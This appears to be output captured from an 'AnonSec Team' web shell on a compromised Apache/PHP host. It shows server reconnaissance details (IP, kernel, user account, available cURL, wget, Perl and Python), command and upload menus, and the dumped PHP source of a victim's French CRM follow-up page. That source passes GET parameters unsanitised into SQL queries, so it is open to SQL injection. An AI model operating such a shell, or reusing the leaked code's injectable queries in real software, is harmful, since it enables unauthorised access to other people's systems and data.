AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/MCPRO/fpdf/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/MCPRO/fpdf/../suivreg.php
<?php
include_once 'code/init.php';
print_header ('', '', $BodyX );

 function ordonner($array, $key)
        {
           for ($i = 0; $i < sizeof($array); $i++) {
                   $sort_values[$i] = $array[$i][$key];
           }
           asort ($sort_values);
           reset ($sort_values);
           while (list ($arr_key, $arr_val) = each ($sort_values)) {
                         $sorted_arr[] = $array[$arr_key];
           }
           return $sorted_arr;
        }
$where1="";
	$where2="";
	$selected="";
if($_GET['idbureausel'] && !empty($_GET['idbureausel']) )
{
   if($_GET['idbureausel']>0)
	{
		$idbureausel=$_GET['idbureausel'];
		$tabbursel=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$_GET['idbureausel'].' and agence_id='.$agence.''))) ;
		$id_bureau=$tabbursel['id_bureau'];
		$nom_bureau=$tabbursel['nom_agence'];
		$where1=" AND ID_Bureau != $id_bureau ";
		$where2=" AND client_bureau = $id_bureau ";
    }
	elseif($_GET['idbureausel']=="INDEFINI")
	{
	$id_bureau=$_GET['idbureausel'];
	$where2=" AND client_bureau='0' ";
	$selected='selected="selected"';
	}
}
if(!empty($_SESSION['admin'])){

}
elseif($bureau)
{
$where2=" AND client_bureau = $bureau ";
}
$sql = dbi_query(" SELECT *,CONCAT( client_nom,  ' ', client_pnom ) nom from client c 
 LEFT JOIN  proposition p 
USING ( client_id ) 
 WHERE  client_actif='0' AND c.agence_id=$agence $where2  ORDER BY nom ") ;

	
$DATA=array();
?>
<script language="Javascript">
   function GetIdBureau()
   {
		var idbursel="";
  	  idbureausel = document.bureau_form.client_bureau.value ;
	if( idbureausel > 0 || idbureausel=="INDEFINI" )
	  window.location = "suivreg.php?idbureausel="+idbureausel;
	  	else
	window.location = "suivreg.php";
   }
</script>
<div class="onglet_dotted">
<?php
if(!empty($_SESSION['admin'])){
?>
<table style="position:absolute; top:35px;  right:20px;">
<form id="bureau_form" name="bureau_form" method="POST" action="suivreg.php">
		<tr>
				<td align="left" valign="top" class="td_listing0" >Bureau :</td>
				<td align="left" valign="top" class="td_listing0">
				<select id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
				<option selected="selected" value=""> TOUS </option>
				<?php if(isset($id_bureau) && isset($nom_bureau)) { ?>
						<option selected="selected" value="<?=$id_bureau ?>"><?=$nom_bureau?></option>
				<?php } ?>

					<?php 
							$Reqbureau=dbi_query("select * from bureau where agence_id=$agence $where1") or die(mysql_error());
							while($listbureau=dbi_fetch_row($Reqbureau)){ ?>
				<option value="<?php echo $listbureau['id_bureau']?>"><?php echo $listbureau['nom_agence'] ?></option>
							<?php } ?>
				<option <?=$selected ?> value="INDEFINI">INDEFINI</option>
				</select>
				  </td>
			</tr>
</form>
</table>
<?php } ?>

<?php while($l=dbi_fetch_row($sql)){ 
// echo " !! ".$l['client_id'];
// $l['client_bureau'];
// print_r($s);
$bureau=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$l['client_bureau'].' and agence_id='.$agence.''))) ;
$Nbur=$bureau['nom_agence'];

// if(!empty($_GET['tri']))
$SqlVS = " 
SELECT client_id, CONCAT( Admin_nom,  ' ', Admin_pnom ) anom, humeur, suivi_intitule, suivi_biais_id, annotation, suivi_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule, suivi_programme,suivi_parent_id,UNIX_TIMESTAMP( suivi_date ) AS DATE, DATE( suivi_date ) AS date_suivi
FROM client_suivi cs
LEFT JOIN suivi
USING ( suivi_id ) 
LEFT JOIN suivi_biais
USING ( suivi_biais_id ) 
LEFT JOIN administratif
USING ( Admin_ID ) 
WHERE cs.agence_id = '$agence' AND suivi_id = 10
AND client_suivi_clos =  '0' AND cs.client_id =  ".$l['client_id']." 
ORDER BY suivi_date DESC ";
// echo $SqlVS;
$s=dbi_fetch_row(dbi_query($SqlVS));

					$action = '';
					if ($s['suivi_biais_id']=='4') 
					$action = '<img src="images/icones/warning.gif" alt="Message repondeur" border="0" align="absmiddle">&nbsp;'.$s['suivi_biais_intitule'].' effectu&eacute;';
					else if ($s['suivi_programme']=='1') 
					$action = '<img src="images/icones/programme.gif" alt="Action programme" border="0" align="absmiddle">&nbsp;Pr&eacute;voir un '.strtolower($s['suivi_biais_intitule']);
					else $action = $s['suivi_biais_intitule'].' effectu&eacute;';
					if ($s['suivi_biais_id']=='6') 
					$action = '<img src="images/controles-16.png" alt="Contr&ocirc;le au domicile du client" border="0" align="absmiddle">&nbsp;Pr&eacute;voir une '.strtolower($s['suivi_biais_intitule']);
					// $total+= $l['montant_devis'];
						if($s['suivi_date'])
					$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),$s['suivi_date'],'<b>'.$action.' le '.mysql_datefr($s['suivi_date'],'-','Djma'),$s['DATE'],$s['suivi_parent_id'],$s['suivi_biais_intitule'],$s['annotation'],$s['suivi_intitule']);
						else
					$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),'',$s['DATE'],$s['suivi_parent_id'],$s['suivi_biais_intitule'],$s['annotation'],$s['suivi_intitule']);						
?>
	
<?php } ?>		

<?php
// echo '<pre>';
// print_r($DATA);
// echo '</pre>';
if(empty($_GET['tri']) && empty($_GET['ordre']))
{
$tab=ordonner($DATA,'8');
$DATA=$tab;
}
$PARENT=array();
$PARENTS=array();
// echo '<pre>';
// print_r($tab);
// echo '</pre>';

?>

<br><br><br><br>
	


<div id="tab">
<TABLE width=100%>
<thead>
<TR>  
  <th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;">Nom </th>
  <th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;">Bureau</th>
  <th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >Description</th>
  <th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;">suivi<SPAN class="sort">&uarr;</SPAN></th>
</TR>
</thead>
    <tbody>
	<?php 
	// $inc='( 0 ';
	$sql3 = dbi_query("SELECT suivi_id, client_suivi_id,annotation,suivi_intitule FROM client_suivi cs
LEFT JOIN suivi
USING ( suivi_id ) 
LEFT JOIN suivi_biais
USING ( suivi_biais_id ) 
WHERE agence_id = '$agence' AND cs.suivi_id = 10
AND client_suivi_clos =  '0' AND suivi_parent_id = '0'  ") ;
	while ($pa = dbi_fetch_row($sql3)){
	// print_r($pa);
		$PARENT[]=$pa['client_suivi_id'];
	$PARENTS[$pa['client_suivi_id']]=$pa['annotation'];
		
		}
		// print_r($PARENT);
		// &&  in_array($DATA[$i][8], $PARENT)
	for($i=0;$i<count($DATA);$i++)
	{
	// echo $DATA[$i][9].' ++ ';
	if(!empty($DATA[$i][7]) &&  in_array($DATA[$i][9], $PARENT))
	{
	// $inc.=' , '.$DATA[$i][0].'';
	// echo " ++ ".$DATA[$i][0];
	?>
	<TR>
			<TD><A href="top.php?link=client&amp;page=aaa&amp;id=<?=$DATA[$i][0]?>" target="ident"><?=$DATA[$i][1]; ?></A></TD>
			<TD><?=$DATA[$i][2]; ?></TD>
			<TD><?echo $PARENTS[$DATA[$i][9]] ;?></TD>
			<TD><?=$DATA[$i][7]; ?></TD>
	</TR>
	<?php 
	}
	}
	// $inc.=' ) ';
	/*
	$sql2 = dbi_query(" SELECT *,CONCAT( client_nom,  ' ', client_pnom ) nom ,id_bureau,nom_agence from client c 
 LEFT JOIN  proposition p 
USING ( client_id ) 
 LEFT JOIN bureau
ON c.client_bureau=id_bureau
 WHERE client_actif='0' AND c.agence_id=$agence $where2 AND c.client_id NOT IN $inc ORDER BY nom") ;
	while ($p = dbi_fetch_row($sql2)){
		$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),$s['suivi_date'],'<b>'.$action.' le '.mysql_datefr($s['suivi_date'],'-','Djma'),$s['DATE']);
		?>
		<TR>
		<TD><A href="top.php?link=client&amp;page=aaa&amp;id=<?=$p['client_id']?>" target="ident"><?=$p['nom'];?></A></TD>
		<TD><?=$p['nom_agence']; ?></TD>
		<TD><?=$p['description_devis']; ?></TD>
		<TD><?=int2date($p['echeance_devis']); ?></TD>
		<TD></TD>
		</TR>
		<?php
		
		}
		*/
	?>
</tbody>
</TABLE>
</div>
</div>


<?php
/*
include_once 'code/init.php';
print_header ('', '', $BodyX );
print_header ( array(), '', $BodyX.'style="margin:5px 10px 5px 10px; padding:5px 10px 5px 10px; border:solid 1px #778;"' );
// echo '<pre>';
// print_r($_GET);
// echo '</pre>';
// if(!isset($_GET['Suivi_Intitule']))
// $_GET['Suivi_Intitule']=
?>
<script language="Javascript">
   function GetIdBureau()
   {
		var idbursel="";
		var IdIntSuivi="";
  	  idbureausel = document.bureau_form.client_bureau.value ;
	  IdIntSuivi = document.bureau_form.Suivi_Intitule.value ;
	if( (idbureausel > 0 || idbureausel=="INDEFINI" ) || (IdIntSuivi > 0 || IdIntSuivi=="TOUS" ))
	  window.location = "suivreg.php?idbureausel="+idbureausel+"&intsuivi="+IdIntSuivi;
	  	else
	window.location = "suivreg.php";
   }

</script>
<?php
$suivi_id = 13;
$where = " AND suivi_id IN ( 10 )" ;
 
 function ordonner($array, $key)
 
        {
          foreach($array as $cle => $element) {
                   $sort_values[$cle] = $array[$cle][$key];
           }
           asort ($sort_values);
           reset ($sort_values);
           while (list ($arr_key, $arr_val) = each ($sort_values)) {
                         $sorted_arr[] = $array[$arr_key];
           }
           return $sorted_arr;
        }



$where1="";
$where2="";
$where3=" where suivi_id IN ( 10 ) ";
if(isset($_GET['intsuivi']) && $_GET['intsuivi'] >0)
{
$where = " AND suivi_id = ".$_GET['intsuivi'] ;
// $where3=" where suivi_id = ".$_GET['intsuivi'] ;
}
$selected = "";
if($_GET['idbureausel'] && !empty($_GET['idbureausel']) )
{
   if($_GET['idbureausel']>0)
	{
		$idbureausel=$_GET['idbureausel'];
		$tabbursel=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$_GET['idbureausel'].' and agence_id='.$agence.''))) ;
		$id_bureau=$tabbursel['id_bureau'];
		$nom_bureau=$tabbursel['nom_agence'];
		$where1=" AND ID_Bureau != $id_bureau ";
		$where2=" AND client_bureau = $id_bureau ";
    }
	elseif($_GET['idbureausel']=="INDEFINI")
	{
	$id_bureau=$_GET['idbureausel'];
	$where2=" AND client_bureau='0' ";
	$selected='selected="selected"';
	}
}
if(!empty($_SESSION['admin'])){

}
elseif($bureau)
{
$where2=" AND client_bureau = $bureau ";
}

// $i=date('y-m-d');

// $k=date("Y-m-d", strtotime("-90 day", strtotime($i)));
	// echo " ! $k ! ";
$Sql = "SELECT client_id, CONCAT( client_nom,  ' ', client_pnom ) nom, CONCAT( inter_nom,  ' ', inter_pnom ) inom, CONCAT( Admin_nom,  ' ', Admin_pnom ) anom, inter_id, humeur, suivi_intitule, suivi_biais_id, annotation, suivi_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule, suivi_programme,suivi_parent_id,UNIX_TIMESTAMP( suivi_date ) AS DATE, DATE( suivi_date ) AS date_suivi,description_devis ,echeance_devis,id_bureau,nom_agence
FROM client_suivi cs
LEFT JOIN suivi
USING ( suivi_id ) 
LEFT JOIN suivi_biais
USING ( suivi_biais_id ) 
LEFT JOIN client c
USING ( client_id ) 
LEFT JOIN intervenant
USING ( inter_id ) 
LEFT JOIN administratif
USING ( Admin_ID ) 
LEFT JOIN  proposition p 
USING ( client_id ) 
LEFT JOIN bureau b
ON c.client_bureau=b.id_bureau
WHERE c.agence_id = '$agence'
AND client_actif='0' 
AND client_suivi_clos =  '0'
AND suivi_parent_id!='0' 
$where
$where2
ORDER BY suivi_programme DESC , suivi_date";
 
 
 // 
$suivi = dbi_query($Sql);
$DATA = array();
$DATA2 = array();
$tab = array();
$inc='( 0  ';
	while ($a = dbi_fetch_row($suivi))
	{
	$client_id=$a['client_id'];
	
		// for ($i = 0 ; $i < count($clients) ; $i++)
		// {
			$inc.=' , '.$client_id;
		// }

	$DATA[$client_id]=array(	$a['client_id'],$a['nom'],$a['date_suivi'],$a['DATE'],	$a['description_devis'],$a['echeance_devis'],$a['id_bureau'],$a['nom_agence']	);
	$DATA2[$client_id][]=
	array(
	$a['client_id'],$a['inom'],$a['suivi_intitule'],
	$a['suivi_date'],$a['suivi_biais_intitule'],$a['annotation'],
	$a['suivi_id'],$a['client_suivi_id'],$a['suivi_programme'],
	$a['suivi_biais_id'],$a['client_id'],$a['inter_id'],
	$a['humeur'],$a['date_suivi'],$a['DATE']
	);

	}
	$inc.=') '	;
	$tab = ordonner($DATA,'3');
	// echo '<pre>';
// print_r($tab);
// echo '</pre>';	
?>

<div class="onglet_dotted">
<?php
if(!empty($_SESSION['admin'])){
?>
<table style="position:absolute; top:35px;  right:20px;">
<form id="bureau_form" name="bureau_form" method="POST" action="a.php">
		<tr>
				<td align="left" valign="top" class="td_listing0" >Bureau :</td>
				<td align="left" valign="top" class="td_listing0">
				<select id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
				<option selected="selected" value=""> TOUS </option>
				<?php if(isset($id_bureau) && isset($nom_bureau)) { ?>
						<option selected="selected" value="<?=$id_bureau ?>"><?=$nom_bureau?></option>
				<?php } ?>

					<?php 
							$Reqbureau=dbi_query("select * from bureau where agence_id=$agence $where1") or die(mysql_error());
							while($listbureau=dbi_fetch_row($Reqbureau)){ ?>
				<option value="<?php echo $listbureau['id_bureau']?>"><?php echo $listbureau['nom_agence'] ?></option>
							<?php } ?>
				<option <?=$selected ?> value="INDEFINI">INDEFINI</option>
				</select>
				  </td>
		</tr>

</form>
</table>
<?php } ?>

<?php

$DATA=$tab;

$sql2 = dbi_query(" SELECT *,CONCAT( client_nom,  ' ', client_pnom ) nom ,id_bureau,nom_agence from client c 
 LEFT JOIN  proposition p 
USING ( client_id ) 
 LEFT JOIN bureau
ON c.client_bureau=id_bureau
 WHERE  c.client_prospect= '1' AND client_actif='0' AND c.agence_id=$agence $where2 AND c.client_id NOT IN $inc ORDER BY nom") ;
 // echo $inc;
 
?>

<br/><br/><br/><br/><br/><br/><br/><br/>
	



<TABLE id="ver-minimalist">
<thead>
<TR>  
  <th>Nom </th>
  <th>Bureau</th>
  <th>Description</th>
  <th>Echeance</th>
  <th>suivi<SPAN class="sort">&uarr;</SPAN></th>
</TR>
</thead>
    <tbody>
	
	<?php 
	foreach($DATA as $i => $element)
{
$id=$DATA[$i][0];
    // echo '[' . $cle . '] vaut ' . $element . '<br />';

	?>
	<TR>
			<TD><A href="top.php?link=client&amp;page=aaa&amp;id=<?=$DATA[$i][0]?>" target="ident"><?=$DATA[$i][1];;?></A></TD>
			<TD><?=$DATA[$i][7]; ?></TD>
			<TD><?=$DATA[$i][4]; ?></TD>
			<TD><?=int2date($DATA[$i][5]); ?></TD>
			<TD><?php 
			for ($j = 0 ; $j < count($DATA2[$id]) ; $j++)
			{
			$icone = '';
		if ($DATA2[$id][$j][9]=='4') $icone = '<img src="images/icones/warning.gif" alt="Message repondeur" border="0" align="absmiddle">';
		else if ($DATA2[$id][$j][9]=='6') $icone = '<img src="images/controles-16.png" alt="Contr&ocirc;le au domicile du client" border="0" align="absmiddle">';
		else $icone = '';
			echo '<b>'.$DATA2[$id][$j][2].'</b> : '.$icone.$DATA2[$id][$j][4].' le '.mysql_datefr($DATA2[$id][$j][3],'-','Djma');
			if($DATA2[$id][$j][5]) 			echo ' ( '.$DATA2[$id][$j][5].' )';
			echo '<br/>';
			// print_r($DATA2[$id][$j]);
			
			}
			
			?></TD>
	</TR>
	<?php 
	
	}
		while ($p = dbi_fetch_row($sql2)){
		$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),$s['suivi_date'],'<b>'.$action.' le '.mysql_datefr($s['suivi_date'],'-','Djma'),$s['DATE']);
		?>
		<TR>
		<TD><A href="top.php?link=client&amp;page=aaa&amp;id=<?=$p['client_id']?>" target="ident"><?=$p['nom'];?></A></TD>
		<TD><?=$p['nom_agence']; ?></TD>
		<TD><?=$p['description_devis']; ?></TD>
		<TD><?=int2date($p['echeance_devis']); ?></TD>
		<TD></TD>
		</TR>
		<?php
		
		}
	
	?>
</tbody>
</TABLE>
<?php
	// echo '<pre>';
// print_r($tab);
// echo '</pre>';	
*/
?>



AnonSec - 2021